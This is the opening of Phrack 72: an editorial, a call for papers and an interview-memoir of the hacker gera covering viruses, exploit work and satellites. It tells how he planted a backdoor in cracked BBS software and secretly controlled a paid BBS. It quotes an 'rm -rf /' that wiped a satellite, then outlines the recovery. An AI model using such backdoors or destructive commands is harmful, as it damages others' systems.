Knowledge is the hacker DNA. Our instincts and curiosity are complimented by the stories of how things were accomplished before. Like hackers and humans before us, we adapt to our environment, and figure out how to meet our needs and achieve our goals. As technology becomes more optimized and abstracted, it can be easy to lose track of the fundamentals. Just because tech has evolved doesn't mean the foundation has changed. We still use AT commands to control our modems. We still activate the A20 line to access memory beyond 1MB on x86 CPUs. In‑band signaling is still a pathway into the toughest systems. Weird machines still manifest throughout it all, waiting to be discovered by a hacker like you.

Everything is in a state of flux, and the only constant is change. Yet, if we position ourselves correctly, our actions can influence the future. Things mutate. There are happy accidents. The world is chaos, and out of chaos emerges hackers.

Hacking has no choice but to evolve, and hacker zines like Phrack evolve with it. We look back at our foundation for inspiration, while we also look forward towards uncharted territory, unafraid of going beyond. We venture into the deepest darkest rabbit holes that few dare to tread, where we see the light that leads us to the most amazing treasures. We address the needs of our communities, find ways to grow together, and encourage each other to keep exploring. We maintain projects like Phrack because it gives a platform for the unadulterated voice of the hacker.

Humans are hackers. We were put here to figure things out. Hacking is an innate skill to be tapped into and developed. The hacker spirit guides us through situations once thought hopeless. Hacking is a way to answer your own burning questions, a way to discover your own potential, and a way to create a world you want to live in.

There is a hacker born every day. It's our duty to share things that can inform them of the past and present, and give them hope for a better tomorrow. After all, we're all alike.

‑‑[ Welcome to Phrack #72

This edition is not just a milestone but a testament to the relentless curiosity, stubborn brilliance, and uncompromising spirit of a global community that refuses to be silenced. A tribute to the old school and the new blood. To the legends who paved the way, and to those just starting to carve their path. Itâ€™s held together with tape, sweat, late nights, fried brains, and that twitchy love for the broken and beautiful mess of systems.

Huge thanks to every author who contributed their knowledge, tools, exploits, vision, and war stories. Your work keeps the scene alive and sharp.

To the reviewers and editors who read between the lines and asked the hard questions. You pushed for clarity without dulling the edge.

To the artists who dropped visuals, raw pixel filth, and clean design. You gave this issue texture. You made it feel.

To the layout crew who made this beast look like something worth printing in blood. Your work is proof that style and substance can coexist.

To everyone who tested drafts, pointed out typos, suggested better payloads, or tighter phrasing. You know who you are. We see you.

To the donors who pitched in to fund the printing of our anniversary edition. You helped keep this thing afloat, independent, and untamed.

And to the scene. The real one. Youâ€™re the reason weâ€™re still doing this. This is yours.

A scream in a world that wants silence. A spark under a mountain of dead protocol.

Phrack lives because you do, so welcome to the noise and enjoy.

â€” Phrack Staff

ISSN 1068‑1035

In this edition:

‑ 16 bangers from some of the sharpest minds in the scene

‑ A Prophile on the legendary Gera

‑ A puzzle to melt your brain (and flex your ego)

‑ A full‑on CTF â€” win it and claim your Phrack coin!

‑ Visuals that hit like a payload: stunning GFX, ASCII and glitch art, pure eye candy

‑‑[ Greetz

Phrack 72 would not have been possible without the incredible hacker scene coming together to help make it happen. Thank you to all the authors, artists, donors, editors, and logistics experts who made this historic issue and international release a reality.

Special thanks to our artists: ackmage, amnesia, aNACHRONiST, araknet, bubok arsonian, digitalis, fyodor, ic3qu33n, jinn, mar, mavenmob, netspooky, p0rtL, s01den, x0, ytcracker.

Massive thanks to the Paged Out crew for their help making an incredible print layout.

This zine would not have been possible without the following people:

ackmage ‑‑ minted the only coin in that'll be worth anything in 2026 bsdaemon ‑‑ still carrying hackers forward

chompie ‑‑ omg will u sign my driver?

clockwerk ‑‑ l0ve

dark tengant ‑‑ uber‑supporter since dayZero

diaul ‑‑ w0rd

horizon ‑‑ ADM 4ever

Julio ‑‑ The rise of the alligatorzzzz

messede ‑‑ <b>awesome</b>

netspooky ‑‑ ultimate cyber skull

pinguino ‑‑ all your news are belong to her

retr0id ‑‑ switch 2, retr0id 1, day 0

richinseattle ‑‑ keeper of the lore

sblip ‑‑ whaddup blip

skyper ‑‑ triplegÃ¤nger

TMZ ‑‑ just a chill guy

Phrack Staff ‑‑ for holding it down

Phrack's Tariff ‑‑ we got PCBs at home

‑‑[ Phrack policy

phrack:~# head ‑77 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

‑‑[ Phrack 73 Call For Papers

Why should you write for Phrack?

‑ You have a project you've been working on that pushes the limits in some way, doing things that haven't been publicly shared before. If you do cutting edge security research, you should write for Phrack.

‑ You are interested in aspects of security and technology that other people don't seem to care about or understand. If you feel like you need to shed light on a certain topic for all to see, you should write for Phrack.

‑ You keep seeing the same problems over and over and wish someone would just write a straightforward guide for everyone. If you are the person who can write that for now and future generations, you should write for Phrack.

‑ You deserve a place to share your finest work without fear. If you don't want something you poured your heart and soul into turned into another metric for shareholders and potential investors or trapped forever inside a corporate VPN, you should write for Phrack.

Worst Case Scenario: You just wrote a cool paper you can share on your own.

Best Case Scenario: Your paper gets published in Phrack. :)

::. What do we want? .::

Articles about hacking, exploit development, vulnerability research, and other fine topics.

More Specifically:

‑ Exploitation: Demonstrate the latest techniques in breaking mitigations and proving vulnerabilities still have bite.

‑ Persistence: Whether its userland, kernel, or below ring0, share a trick in the dark art of stealth persistence.

‑ Fuzzing and Code Analysis: Automated bug hunting finds the low hanging fruit, how can we make it more lethal?

‑ Binary Obfuscation: We have decompilers but custom VMs and powerful transformations create impenetrable code.

‑ Data Obfuscation: Time to exfil, how do you move a terabyte of data without looking like a fool?

‑ Anti‑Forensics: Leave no trace, hide in the mist, or maybe even deploy countermeasures on the parsers!

‑ Web Applications: Discuss confusion, bypass, and injection attacks on the multi‑headed hydra of modern applications.

‑ Cloud Security: Complexity and lack of visibility is the soft underbelly of cloud compute, discuss.

‑ Data Storage Weaknesses: If data theft is the end goal, let's talk about all the leaks in storage infra and APIs.

‑ Exploit Mitigation: Finding every bug is futile, how do we design more secure systems to block these attacks?

‑ Malware Analysis: The world is covered in a diaspora of malware, flay open the code and inspect the innards.

‑ Malware Defense: We wade in a pool of parasites attacking from every angle, how do we block their vicious effects?

‑ Exotic Reverse Engineering: What are the corrupt hidden hands of power in this electronic substrate?

‑ Scene History: Let us learn the often isolated tribal history that hasn't been written about before.

‑ Tales from the Crypt: Want to tell a personal story of a righteous hack? Maybe we'll believe you.

::. When Do We Want It By? .::

June 2026

::. When will Phrack 73 be released? .::

Summer 2026

‑‑‑‑( Contact )‑‑‑‑

< Editors : staff[at]phrack{dot}org > > Submissions : submissions[at]phrack{dot}org < < /dev/urandom : loopback[at]phrack{dot}org > > Arts & Leisure : arts[at]phrack{dot}org < < Twitter/X : phrack > > Mastodon : phrack[at]haunted{dot}computer < < BlueSky : phrack{dot}org >

The rules are simple:

+ 7‑bit ASCII wrapped to 76 columns OR Markdown UTF‑8

+ ANTISPAM in the subject line or face the Spam God and

Phrack Prophile on Gera

==Phrack Inc.==

Volume 0x10, Issue 0x48, Phile #0x02 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON Gera ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Specs

Name: gera

Handle: gera

Handle origin: it's just my name Â¯\_(ãƒ„)_/Â¯

AKA: casper (around 1993?), Richie++ (Â¿ 4:900/208.3 ? @FidoNet) Country: Argentina

Website: http://127.1:631

GitHub: gerasdf

|=‑‑‑=[ Background

2400 bauds version:

I always wanted to do robots. My mother sent me (at 11 yo?) to learn Logo, and I did. Got my first computer (TI99/4A). Got a Commodore 64 and then a 128. Learned assembly on the Commodore, at around 12 years old. PC enters life. Got hold of Turbo Assembler, Turbo Pascal, Turbo Debugger, etc at school. Found friends to learn together. After struggling, I found Ralf Brown's interrupt list, then Sourcer disassembler. The Stoned virus found me, got totally hooked, and started collecting virii. Wrote my first â€œvirusâ€ to bypass security at school.

Collected PC viruses, and wrote a few myself. Found more friends to learn with, and we moved on to accessing openly available remote computers. We thought we could even make (legal) money from what we loved. (Co) Founded Core SDI/Core Security, wrote and released ABOs (Advanced Buffer overflows), (co) created Core IMPACT, (this is no longer 2400 bps version and Iâ€™m not liking it), I taught assembly and exploit writing, put together the exploits writing team at Core... got fed up of the security industry, started Disarmista (2008?), exclusively offering reverse engineering services for â€œgood reasonsâ€. Got a call from a friend, along the lines of â€œhey, want to come and do satellites?â€ â€“ I said â€œnoâ€, but there was really no reason to say no. 15 years later Iâ€™m still doing satellites, and their security too.

‑‑‑‑‑‑‑‑‑‑

Now, the version for the historians and the really bored readers:

I started with computers at 10 or 11, and the order of events is fuzzy now at 50. I always liked opening toys to see how they worked, and that earned me the nickname â€œIngegneri disarmistaâ€ as a kid. For some reason I still canâ€™t understand, I always said "I want to build robots". In 1985 Argentina there werenâ€™t many options, but my mother found a place to send me after school to learn some coding. I had no computer at the time, so I could only touch a keyboard to use Logo on a TI99/4A, once a week. I moved the turtle around, learned geometry and â€œprogrammingâ€ with lists, it was really fun and eye opening. Then one day my parents showed up with a TI99/4A for me, around 1986. I thought I could do Logo on it, but I discovered I needed a memory expansion and something else, so I was confined to Basic and a few other things... I don't even remember what I did with the TI, likely Basic and very few games... Then I got a Commodore 64.

As I gained access to some games (though I don't remember anyone paying for them, except for a guy at 'Valente ComputaciÃ³n' who had his own intros), I started wondering how to write them. I knew Logo and had learned some Basic, but that surely wasn't enough. There had to be something else. One day I got my hands on a "Tu Micro Commodore" magazine, and there I found a strange listing with PEEKs, POKEs, and lots of DATA statements with infinite numbers. Of course, I started changing the numbers randomly, and sometimes I was lucky enough to see an effect (other than a crash). The "Tu Micro Commodore" became my window to the world. I religiously waited for the next one arrived (in Argentina, from Spain), and read it through many times. I started compiling together my list of PEEKs, and POKEs, and "Page 0" addresses. It wasn't until I got my Commodore 128 with its built‑in "Machine Language Monitor" that I finally understood I needed to learn Assembly... and I did. I got a "Commodore 128" book by Data Becker, where I truly started learning things. I took it to the beach, and read it back and forth, taking notes. I remember I learned boolean logic from it, and â€œdiscoveredâ€ De Morgan's Law by drawing in the sand. The first things I did in assembly were things to move sprites. Assembly routines to have sprites fall with gravity and jump with the joystick's button ‑ different routines I then put together to make a really crappy platform game. I also had an assembly monitor for the 64, so I did both. The most â€œadvancedâ€ thing I remember was playing with the horizontal raster interrupts, to implement smooth scrolling on a part of the screen. The next for me was to try to figure out how they were playing sampled music, but then...

Then I started secondary school in 1988, where they had BBC Micro computers, using the same 6502 as the C64 and a built‑in assembly monitor too, so, first day at school in front of a BBC I pulled out my C64 memory map (from memory) of the C64 and started POKEing around... with not much luck. The assembly did work, so I knew I had tools to start again. I figured out some stuff but then, very soon, they brought the first PCs to school. And that was a completely new and unknown world. I was 12? 13? By then. And even though I was most of the day at school, I still had the breaks and nights to go, heh. I remember a conversation with my father that went smth like:

>>> I donâ€™t know what to do. I know all about the Commodore 64. If we get a PC I will be helpless, and it took me forever to get my C64 memory map complete. <<<

Iâ€™m not sure what the answer was, but it didnâ€™t really matter. There was only one way out, starting again from scratch. With no modem and no Internet. First thing: get an assembly monitor (AKA assembler)... I was offered a point at Fidonet. Even without a modem, my node pal got me a 5.25" floppy every day, and I gave him back my messages and some file requests. Amazing! The World was connecting. I went on like this without a modem for many years, becoming Richie++ (sorry!). At school I met Futo, the smartest person I know (sorry everybody else, you know itâ€™s true). Together, we learned most things and even started our first company: Technique and Methods. We wrote DOS tools, kinda like Norton (we had TFF to Find Files, TMD to delete multiple files, TFD to find dups, etc). Then around 1989, we published â€œToo much info Twoâ€, a Sidekick help file packed with all the information weâ€™d gathered, including Ralf Brownâ€™s interrupt list, and other stuff on PC hardware, PC chip programming, and so on. I really hate that all this has disappeared. I had floppys until not so long ago... maybe they are still somewhere. Or maybe Futo has some of it.

And then, we finally got our hands on a Disassembler (Sourcer Commenting Disassembler)! Oh yes, how could I live without it! It was around 1988? 1989? The first thing I remember seriously disassembling was the Stoned Virus, and from there, it could only get better. I started collecting viruses, writing my own, reading all the Virus Report by Bonsembiante (a printed zine), and competing with him on publishing analysis and commented disassemblies of viruses (though he probably never knew it). At some point before that I got my first paid programming job, writing a Turbo Pascal app that had to print a map of the streets marking the water sprouts, in 40 seconds from the moment a fireman picked up the phone, map digitalization software included. I used predictive typing for the addresses and lots of low‑level tricks to speed up dot matrix printing: success, 40s! Though, I think it was only sold once.

The school had some protections so students couldnâ€™t change the file systems (an INT 13 hook), with Futo we wrote a boot sector â€œvirusâ€ that saved the original pointer and allowed us to restore it, everybody knew about it, it was a really friendly atmosphere and they just let us do what we wanted. That helped a lot.

In 1993, my final year of secondary school, I joined a university team focused on viruses (GISVI). The following year, I published and presented my first paper on writing metamorphic viruses: "RICE ‑ Individualized Regeneration of Encrypting Code", surprisingly still available online. It was there I met Beto, long‑time maintainer of Impacket and a lifelong friend. Ever since, he has been my professional cornerstone in security, somebody Iâ€™d keep working with until my last day if I could.

Soon after that I met the HBO team (Hacked by Owls), via Saltamontes, a great friend, who also was one of my bosses at the Firemen mapping company. Saltamontes, LBD, OPii, Janx Spirits, amazing people, together with Futo, all founders of Core SDI/Security. But just before that, a team of 26+ hackers got hired by the Argentinean IRS, a few virus writers, some exploit writers, system hackers, crypto experts, all in the range 17‑19, they (the IRS) didnâ€™t even know how to legally pay us. They threw us in a large empty cellar, and just let us loose, until they needed us for something. We hacked, and coded, and did ftp‑mail, and tried Igdrasil Linux as it was released... It was the genesis of many great things, including Core. Oh, Iâ€™m getting a bit tired of writing, sorry :‑/

Ah! Yes! At some point, â€œsomebody dropped a pay phone in a friend's backyardâ€, and the friend, thinking it was an alien device, called us. The only thing we could think of was to open it and reverse engineer it all the way, producing software updates and improvements that eventually escaped the laboratory the day we left the window open. These updates nested in a payphone outside a hacking conference in Buenos Aires in 1994 to show a â€œManifiesto HBOâ€ in the LCD display of the phone, picked up by local newspapers. No wait, â€œthe aliens droppedâ€ two [Telecom] payphones, with a note to deliver one to M. Blaze at HOPEâ€™95 in NYC so he could break the clipper chip with an alien tool, though he never needed it because he had his brain to do it. The weirdest part is that the aliens asked us to deliver a â€œTelefÃ³nicaâ€ payphone, which we didnâ€™t have. Afraid of getting struck by lasers from outer space, we were forced to get into a drug‑dealers‑hostage‑exchange situation dark at night to exchange the extra Telecom phone for a Telefonica phone, which was a lot heavier too. So, with a phone in the backpack, and a hundred excuses that we never needed, we first went to Summercon in Atlanta to play â€œspot the FBI agentâ€, and then arrived at NYC for HOPE. Luckily nobody bombed the airplane on our way in (from Argentina), possibly because somebody unknown (unknown but with a good Spirit) stuck a â€œBOMB!â€ (â€œBoom?â€) note in the restroom, and what are the chances that there are two bombs in a single airplane? As expected, the police and dogs sniffing around the airplane didnâ€™t understand it was all for the safety of the fellow passengers.

And then, Core happened. Lots of magic in the ~15 years at Core. We â€œinventedâ€ Contextual Access, Zero Trust, SIEM and named it Core Force, a product that was just too large for us, though we sold it and deployed it into a large bank, and other places, to then release it open source in 1997. We did consulting (â€œRed Teamingâ€ today) for very large companies, [anonymously] participated in the definition of PCI standard (sorry), broke things, fixed things, and had infinite fun, growing the team with more amazing people. We sold $30k of exploits to Kurtz and McClure, who never paid us (donâ€™t worry, itâ€™s prescribed now) for their pentesting team. We were close pals to Secure Networks Incorporated, worked on developing Ballista, then other security products as it was sold to Network Associates. And then, also sort of derived from interactions with the team at SNI (Oliver and Alfred mostly?), we started Core IMPACT, a professional pen‑testing tool (a collection of QAed exploits, with a great UI), and printed the memorable t‑shirts â€œGo Hack Yourself!" (~2001). Core and the conferences were my travel agency, and I loved it. I got connected to my idols that turned out to be just people (some of them at least). And then, I left Core :‑p

Just one anecdote: When we hired Raddy (still going around in the community as L. Lavarello), he came to the interview with the school uniform and his mother... Inside the office (downtown Buenos Aires, lawyers office building) we were playing soccer, the people downstairs knocked at our door to ask that we stop doing noise, and we opened it shirtless, sweating, with the ball under the arm, and a serious face to say â€œsure, donâ€™t worryâ€... and Raddyâ€™s mother asking us â€œplease, take care of my sonâ€.

For him I originally wrote the ABOs, one by one as he solved them, or had a new idea. Then most in the office were playing, and it made sense to make them public. I also remember abo5.c was particularly challenging for many, and one day riq came with a solution he dreamed of: A gorgeous lady came out of the water and told him the solution, something like â€œoverwrite the pointer...". The next day he showed up with a solution that was not what I thought, but worked, so I had to rename it into abo6.c, and add a new abo5.c before it :‑p

Then came the second generation of exploit writers, with ricnar leading the pack. I always remember his job interview. It was 2006, and somebody told me â€œyou donâ€™t know ricnar? What? You have to meet him, why donâ€™t you interview him?â€. And no, I didnâ€™t know him, and Iâ€™m still ashamed for not knowing him. A grown up guy showed up to the interview. He didnâ€™t look like the revel teenager I was used to. He looked more like somebody who was repairing elevators for many years, which was exactly what he was doing. We started talking, and as I had â€œstudiedâ€ for the interview, I started asking questions to see if he really knew what he was talking about: he really knew all his shit. It was a great interview, and if youâ€™ve met him, you know he can pull out stories and anecdotes from thin air and keep you entertained for hours. He was actually fixing elevators, but in his spare time, well... he just became the father of the Latin cracking scene, and by that time, he had published around a 1000 tutorials on cracking whatever crossed his hands. I hired him right there, and I remember I got a bit emotional when he asked me with shining eyes, â€œSo, you mean I can start working and make money using OllyDbg? Itâ€™s a dream come true!â€. He then learned python, and writing exploits, and of course wrote and published countless tutorials on both. His technique? When he learns anything new, he has a document open to the side, and writes the tutorial as he moves forward, taking screenshots, and writing his thoughts. Iâ€™ve seen him in conferences, infinitely humble, while a hundred different Spanish accents from all around talk to him. I wish I had the energy to write so many tutes.

As the scene started to get weird, with 0‑days raising the prices, vuln markets, friends going silent and machine guns escorting me to the toilet, I needed to exit. Again, I thought: I want to make money doing what I love, so I started a reverse engineering shop (Disarmista, now under Futoâ€™s command, doing a lot more than just RE). Luckily a very early customer wanted me to help them maintain a Smalltalk VM that was long abandoned, but was core to their product. And they had a fixed idea: We need you to document the VM (written in ASM) so we can understand it, and we can only understand Smalltalk code. So, we sat down to write a Smalltalk VM in Smalltalk, to get a Smalltalk system that could compile itself into executable form, releasing â€œiterdeâ€ (Iterative Decompilation) stupid‑tool in the path. The project is still alive, now called Bee and evolved into Powerlang, and itâ€™s one of the things Iâ€™m proud and amazed we could do.

After Disarmista I got a call from LBD, A.K.A. Emi, â€œLet's do Satellites!â€. He tricked me into a 2 day meeting, sitting in the corner as â€œJust a friend, donâ€™t worry about himâ€, to keep my mouth shut for only 30 minutes as I couldnâ€™t stop thinking (and saying) â€œwhat you are saying is all wrong!â€ to experienced space engineers (sorry guys!). But well... for what we wanted to do at Satellogic (true low cost high performing earth observation satellites) it was the wrong philosophy. It took longer than what we imagined, but we finally managed to design, build, launch, operate and sell [50+] satellites and the images of the World they capture. It was really amazing, again thinking â€œwhat? I know nothing about satellites...

Iâ€™ll have to start again from scratch, and my brain is already deadâ€. But it wasnâ€™t, it was just sleeping out of boredom, and it woke up to the challenge.

‑‑‑‑‑‑‑‑‑‑

Today, Iâ€™m still doing satellites, and their security too. An amazing team. In a way, we repeated a part of Coreâ€™s story, in building an amazing team and culture, really, because the only way of doing impossible things is to have fun while you do them, and to get surrounded by people thatâ€™s smarter than you.

I know you likely want to know about how we do satellite security, but this is getting too long, and itâ€™s too interesting to do a 2400 bps version, sorry.

Iâ€™m going to stop here, though I went back already a couple times to insert earlier memories.

|=‑‑‑=[ Inspiration

Wanting to do games was the reason I first learned assembly (why would somebody learn assembly today?). Then viruses and their reproductive capability really hooked me. Reproduction is one of the main characteristics of living organisms, I felt then (though virii donâ€™t have opposite thumbs like Koalas, which have two).

Reversing stealth viruses I learned there were many tricks only a few knew, that gave you invisibility. With friends I learned hacking, and the thirst for knowledge and solving puzzles was just too strong and addictive, it still is. As for people, I started so disconnected that it was hard to get a model, though I always say my great teacher was Petro, â€œjustâ€ a teacher, who was so good at explaining, that you always left thinking you understood it all and just had the greatest idea of humanity, just by yourself.

|=‑‑‑=[ Favorites:

Programming Languages:

Smalltalk and Assembly. Weird, uh? I currently do python mostly every day, and Iâ€™m very comfortable and programmed for money in many languages. But Smalltalk is my favourite high‑level language. I like how it forces me to think from the point of view of the object Iâ€™m currently programming, and switch to a different PoV as I move to a different class. On the other end, Assembly. I still love the challenge of building large things with small parts, and squeezing and squeezing and squeezing. I did manage to find excuses to do some things mixing the two, and I still think one day I will go back to continue them.

Pwnie Award: Erm... never followed them, sorry. Did Phrack get one?

Best Hack: Not many, but did I say cracking at all already?

In Argentina, as in many forgotten countries, cracking was a necessity. Many times, even when you wanted to buy the software and had the money (not very likely), you couldnâ€™t. So, we were only left to our own devices, likely by design (as they say, the first is free...) I mean, we had to do some cracking. During my C64/128 era I just didnâ€™t understand enough, but entering the PC I realized that I just couldnâ€™t copy a program and install it at home. So, here comes the cracking and the debugger.

So I cracked a few apps, for myself or to amuse friends, like getting infinite money in Sim City. But one day I was the first to get the new version of Remote Access (a BBS hosting software) in Argentina, and it needed cracking.

So I set out to crack it. It was a quick job initially, but then I discovered there was a whole set of functionality that wasn't regularly available. This gave me the idea of adding even more functionality (some may call it a backdoor) that enabled a sort of god mode. It took me a couple of days. The whole time I was telling people 'yes yes, I'm almost there, cracking isn't easy you know.' When I finally finished, I slightly changed the banner to identify it easily, and set it free.

Eventually I found a large paid BBS that had installed my version, so I dialed in (yeah! I finally got a modem!) and activated my secret menu option. I used a particular username that froze the screen on the server side but gave me full control over it (basically remote god mode). It was a lot of fun, and the BBS hosted a lot of technical information that I craved for. I believe the username was Daniel Calpazzo, which I picked at random. After I did this a few times, the BBS showed a new banner: â€œDaniel Calpazzo, we noticed you are having problems logging in. Please contact us and we'll help youâ€. Nobody else knew about the extra functionality, so after I got bored and stopped using it, they ended up with a very stable Remote Access crack.

Software:

‑‑‑‑‑‑‑‑‑

I totally forgot before: All sorts of debuggers. Debuggers are the swiss army knife of hackers. gdb lets you script C, plant in‑memory backdoors, do in‑memory cracks, is installed in most systems, and doesnâ€™t trigger AVs as netcat does (WTF?). But of all RE tools, my love goes to IDA. I must admit I stopped using IDA regularly just before Ghidra was released, and I never got fluent in radare or others, though I did use and contributed to Pedramâ€™s PAIMEI. Still, my favourite software: IDA

Museum:

‑‑‑‑‑‑‑

A science museum comes to mind first, but Iâ€™ve done quite a few, so no. I like seeing ancient civilizations, and finding (or thinking) how similar we still are after 5000 years. All anachronistic archaeological findings really spark my curiosity, but I donâ€™t know if there is such a museum.

Hacking:

‑‑‑‑‑‑‑‑

Reverse Engineering firmware to add functionality. Hardware hacking and Hardware making. I wish I did A LOT more of that. Do it yourself for me.

|=‑‑‑=[ Memorable Experiences:

For this issue, just one, or itâ€™ll get too long: It was the last evening before shipping our third satellite (Tita, for Tita Merelo). It was unfinished, of course, and we were doing software changes all the time, even on the satellite systems themselves (no CI/CD, sorry). The satellite had (has?) 6 Linux systems, and the main Linux guy was doing the final touches, everybody around doing stuff, and then â€œMIERDA!â€, he shouted, and silence fell on the floor. All cameras to his face, he was buried in his hands, frozen in place, not even breathing... so, somebody approaches to see the screen, and there were 6 sshs, all doing the same with those multi‑ssh things, all reading:

# rm ‑rf /

# ^C

# _

So thereâ€™s no doubt:

He rm ‑rfâ€™ed the 6 Linuxes in the satellite. The ÂµSD cards epoxied so they could stand launch vibrations, computers screwed deep inside, screws epoxied, the satellite closed, covers epoxied... only an ethernet cable. The cursor, blinking... late evening, T‑12h to ship the satellite in a box to the launch site in Baikonur.

So, as calm as we could, we took him off the keyboard, and sat down with Phil, an infinite friend (that never answers my msgs) and an incredible hacker‑in‑the‑good‑sense (if thereâ€™s any bad sense), only known to few. We both sat down, next to each other, in the mode that we had developed during nights of â€œplaying gamesâ€: One types at the keyboard, the other checks and hits enter. We started going around seeing what was available

# ls ‑lR /

bash: ls: command not found

# _

# echo /*

/usr /tmp ...

# _

Long story short:

though some binaries remained, /lib had disappeared, nothing that was dynamically linked really existed.

Digging around, we found a qemu binary on the satellite's ARM system, there to run x86 binaries. We had no idea why, but it was there, statically linked, and, luckily for us, it had the gdb interface enabled. That was it. The problem wasnâ€™t a problem anymore, we had a solution. We just needed to implement it.

Our plan was to use qemu to launch any binary with a remote gdb listener on a TCP port. Once we connected, we could inject a shellcode directly into memory. The shellcode was designed to receive a data blob, save it as a file, and make chmod it +x. That blob would be a statically‑linked rsync.

While somebody ordered pizzas, we gave the guy who did the rm ‑rf the task of compiling that rsync. It kept him busy and stopped him from jumping out a window while we (Phil did I think) wrote the shellcode. When everything was ready, we took a deep breath... and it was a success! We had rsync running.

Using rsync, we restored the systems from a clean backup. It was well past midnight and there was still work to do before shipping, but the relief in the room was notable, somebody played Loose yourself to dance, and I jumped to dance. We were happy. The next day, 'Tita' was sent off, later launched into orbit with her Linuxes properly configured and all :‑).

As for the guy who caused it all? It was his birthday. His family was waiting for him at the hotel, past midnight, to blow out the candles. He kept feeding them excuses because, really, how do you explain that you accidentally wiped a satellite right before its launch? No matter what you say, the wife will only hear â€œIâ€™ll be late, I'm with another girl.

|=‑‑‑=[ What is the achievement you're most proud of?

Thereâ€™s something that makes me proud, not exactly my personal achievement, more like a group achievement:

>>> The size and quality of the security scene in Argentina <<<

Many things happened at the same time, and maybe the Ekoparty was a bigger contributor through the years, but so many amazing people passed through Core, for many their first true job (because nobody else dared to employ them, heh), untamed creativity, infinite thirst for breaking the limits and doing impossible things.

Core grew and grew, attracting talent, until it exploded. First I was mad at us and the people leaving, but with some time I felt how the spores got rooted in other places, new companies got infected with the culture, and suddenly the family got back together, and it was larger than before and amazing again.

Of course, I should have made a lot of money when we â€œsoldâ€ it, but no, we just didnâ€™t. I think we got around $5k total (each!). Donâ€™t sign anything with the big monsters, theyâ€™ll just eat you.

On a different life, Iâ€™m also happy (not sure if proud) I could write an OS purely in Smalltalk (see SqueakNOS), with network drivers, and all.

|=‑‑‑=[ What is something you are not proud of?

In short, Iâ€™m not proud of having contributed somehow to the weaponization of the exploits and mercenarization of the experts. I remember. Back in 2000‑2001 getting in a room with my friends/partners at Core SDI (Core Security later), to discuss whether we should do Core IMPACT and whether we should include 0‑days or not, knowing we were getting into cyber‑weapons and that our technology had â€œdual useâ€ (like if a scissor didnâ€™t have â€œdual useâ€).

We had a proposal and we decided not to do 0‑days for Core IMPACT, decided to keep publishing everything we found, and decided to leave a lot of money on the side (or so we believed). â€œSomebody else will do itâ€, â€œBut I think we can make a difference, and if we can, I donâ€™t want to do itâ€, etc. I kind of walked away almost proud of the decision, and stranded by it.

Still, I went on and taught â€œAssembly and Exploit writing classesâ€ to customers of Core, once to people of some American agency that couldnâ€™t tell me where [on what 3 letters agency] they worked, or on a military base where a siren light played as we walked around and they escorted me to shit with machine guns, waiting outside the cubicle, literally, as I tried to fart as loud as possible... as if it would make any difference.

Not sure what if anything I could have done differently, or if I should, or if what I did was right. I know there are truly good reasons to use cyber‑weapons, still, Iâ€™m not proud of indirectly collaborating with weaponization and mercenarization. I lost friends in the process, as we all saw the industry changing rapidly.

Sometimes I think the antisec movement was right: anything you do contributes to give more power to the status quo (and this is sort of right), just do your stuff, donâ€™t publish anything. But thatâ€™s not right, thatâ€™s pretending you are the only one you can find the bugs you find, and write the exploits you write, and thatâ€™s just not true, itâ€™s the other way around: if you did it, itâ€™s clear that someone else can do it, just kill the 0‑day and contribute to balance the power.

|=‑‑‑=[ What would you like to see published in Phrack?

Tough question. I still read Phrack, and still love the tone and the technical content. But it feels like real‑world exploits are happening somewhere else, sorry. The 9 chained exploits to finally get from 0‑click whatsapp to total iPhone kernel control are still private (or maybe I missed an article, sorry if I did). I get it, they have an unthinkable value, but thatâ€™s for a reason (who can pay that much money for an exploit? Think about it). So, Iâ€™d love to see anonymous contributions describing high valued techniques, killing them for the private offender, opening them for the defenders. I mean, if AI is going to leave us without a job anyway (really?), let's just try to balance things a bit before it happens.

|=‑‑‑=[ How did Phrack influence you and helped shape who you are?

A lot. Along with other zines, Phrack always stood out for its technical content. I remember studying all articles on heap exploitation (w00w00â€™s, MaXXâ€™, the anonymous one) nergalâ€™s article on ret2libc and klogâ€™s on frame pointer overwrite, grugqâ€™s ELF article, and his and scutâ€™s on ELF encryption, and many more that I now recognize browsing the online issues. I used to print those articles and read them over and over. I even carried a few of the original printouts with me through many moves over the years. A few months ago, I found the stack and finally gave them a new life.

Reading all the tricks, understanding all the different points of view, finally helped me develop the instinct that a bit is just a bit, and all the meaning is in the observer.

And I figured Iâ€™m not a lonely weirdo who ENJOYS squeezing the constrained options a vulnerability offers to conquer the execution flow. We are legion.

|=‑‑‑=[ What is your favourite bug/exploit?

I sadly forgot many, I feel the empty space in my memory. Let me try a few.

== CVE‑2004‑0368 ‑ dtlogin double free.

